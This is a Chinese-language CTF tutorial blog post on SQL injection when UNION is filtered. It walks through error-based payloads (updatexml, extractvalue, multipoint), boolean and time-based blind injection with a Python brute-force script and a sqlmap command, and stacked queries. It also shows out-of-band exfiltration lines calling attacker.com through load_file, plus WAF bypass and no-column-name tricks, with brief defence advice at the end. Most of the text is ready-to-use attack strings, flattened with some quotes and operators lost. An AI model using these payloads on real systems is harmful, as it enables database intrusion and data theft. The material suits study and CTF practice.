1. 联合查询被禁时的困境与破局思路在CTF比赛的Web安全赛道上SQL注入始终是高频考点。去年参加某省级CTF时我遇到一道典型的过滤场景题目明确过滤了UNION、SELECT等关键词甚至屏蔽了大小写变种和注释符混淆。这种联合查询UNION-based被完全封杀的情况在近年赛事中越来越常见——根据HackerOne平台统计2022年CTF赛事中约37%的SQL注入题目会禁用联合查询。面对这种限制我们需要转换思路。联合查询的本质是通过追加查询结果集来获取数据而替代方案的核心在于利用数据库报错机制、布尔逻辑判断或时间延迟等侧信道技术。下面这张对比表清晰展示了主流技术路线的差异技术类型原理依据适用场景数据提取效率报错注入数据库错误信息回显显示错误信息的场景★★★★☆布尔盲注页面响应差异无报错但存在不同响应★★☆☆☆时间盲注条件触发的时间延迟无任何显式反馈的场景★☆☆☆☆堆叠查询多语句执行能力支持堆叠查询的数据库★★★★☆OOB外带DNS/HTTP日志外泄数据严格过滤的特殊环境★★☆☆☆实战提示先通过?id1等简单payload测试错误回显情况这是选择攻击路径的第一步。如果看到数据库报错信息如MySQL的You have an error...优先考虑报错注入。2. 报错注入利用数据库的口误当应用程序显示数据库错误信息时报错注入Error-based是最高效的替代方案。其核心是故意构造非法查询让数据库在报错信息中泄露敏感数据。以下是三种经典的报错注入技术2.1 updatexml报错注入MySQL的updatexml函数当XPath参数格式错误时会返回报错信息我们可以利用这个特性?id1 and updatexml(1, concat(0x7e,(select database()),0x7e),1)--这个payload的工作原理concat(0x7e,(select database()),0x7e)将查询结果用~符号包裹updatexml第二个参数要求是合法XPath而~不是合法字符数据库报错时会显示XPATH syntax error: ~database_name~2.2 extractvalue报错注入与updatexml类似extractvalue函数也有相同的漏洞?id1 and extractvalue(1, concat(0x7e,(select user()),0x7e))--避坑指南MySQL 5.7版本对报错信息长度有限制默认64字节可用substring分段获取数据?id1 and updatexml(1,concat(0x7e,substring((select group_concat(table_name) from information_schema.tables where table_schemadatabase()),1,30),0x7e),1)--2.3 几何函数报错MySQL的几何函数如geometrycollection()、multipoint()等对参数格式有严格要求?id1 and multipoint((select * from(select * from(select version())a)b))--报错信息会包含ERROR 1367 (22007): Illegal non-geometric value found during parsing3. 盲注技术当数据库保持沉默时当页面没有任何错误回显时我们需要依靠盲注Blind Injection技术。根据响应差异的显隐程度可分为布尔盲注和时间盲注。3.1 布尔盲注实战流程布尔盲注Boolean-based依赖页面响应差异判断查询真假。以登录绕过为例admin and ascii(substr(database(),1,1))100--完整攻击步骤判断数据库长度?id1 and length(database())4--通过响应变化确认逐字符猜解and substr(database(),1,1)a自动化工具推荐SQLmapsqlmap -u http://target.com?id1 --techniqueB --batch手工脚本示例import requests chars abcdefghijklmnopqrstuvwxyz0123456789_ result for i in range(1,20): for c in chars: payload fadmin and substr(database(),{i},1){c}-- r requests.post(url, data{uname:payload,passwd:1}) if Welcome in r.text: result c print(fFound: {result}) break3.2 时间盲注的精细控制时间盲注Time-based是最隐蔽但最耗时的方案。通过sleep()函数制造条件延迟?id1 and if(ascii(substr(user(),1,1))100,sleep(3),0)--关键技巧使用BENCHMARK(10000000,MD5(1))替代sleep当sleep被过滤时二分法加速猜解120→110→115...网络延迟补偿建立基准响应时间如sleep(0)的平均值实战案例在某次比赛中遇到过滤了sleep和benchmark的情况最终通过大量复杂计算制造延迟?id1 and (select count(*) from information_schema.columns A, information_schema.columns B, information_schema.columns C) 1 and 11--4. 堆叠查询与OOB外带技术4.1 堆叠查询的妙用当数据库支持多语句执行时如PHP的mysqli_multi_query堆叠查询Stacked Queries能绕过联合查询限制?id1; create table temp as select * from users;-- ?id1; select * from temp;--适用场景SQL Server、PostgreSQL默认支持MySQL需要特定驱动配置如PHP的PDO加上PDO::MYSQL_ATTR_MULTI_STATEMENTS4.2 OOB外带数据技术当所有常规注入都失效时外带Out-of-Band技术通过DNS/HTTP请求泄露数据MySQL的load_file触发DNS查询?id1 and load_file(concat(\\\\,(select database()),.attacker.com\\share))--需要配合DNS日志平台接收数据。现代CTF中更常用的HTTP外带?id1; select load_file(concat(http://attacker.com/?data,version()));--注意这种技术需要目标服务器能出网在实际CTF中需确认题目环境是否开放外部网络访问。5. 防御对抗与最新绕过技巧随着WAF技术升级注入技术也在不断进化。以下是2023年CTF中的新型绕过案例5.1 正则过滤绕过/*!50000select*/ version() # MySQL版本特异性语法 SEL/*xyz*/ECT * FROM users # 注释分割 SET sqlCONCAT(S,ELECT...); PREPARE stmt FROM sql; EXECUTE stmt; # 预处理语句5.2 无列名注入技术当information_schema被禁用时# 通过已知表名猜列数 ?id1 and (select * from users limit 1)(a,b,c)-- # 利用join报错获取列名 ?id1 and (select * from (select * from users a join users b)c)--5.3 JSON注入新思路现代应用常用JSON格式传参POST /api HTTP/1.1 Content-Type: application/json {id:1 and 1convert(int,version)--}防御建议使用参数化查询Prepared Statements最小权限原则数据库账户只读权限启用WAF的SQL注入防护规则在最近一次红蓝对抗演练中我们团队通过组合时间盲注和OOB技术在完全禁用UNION和报错回显的严格环境下用时37分钟完成了数据提取。关键是要保持对数据库行为的深刻理解像侦探一样分析每一个细微的响应差异。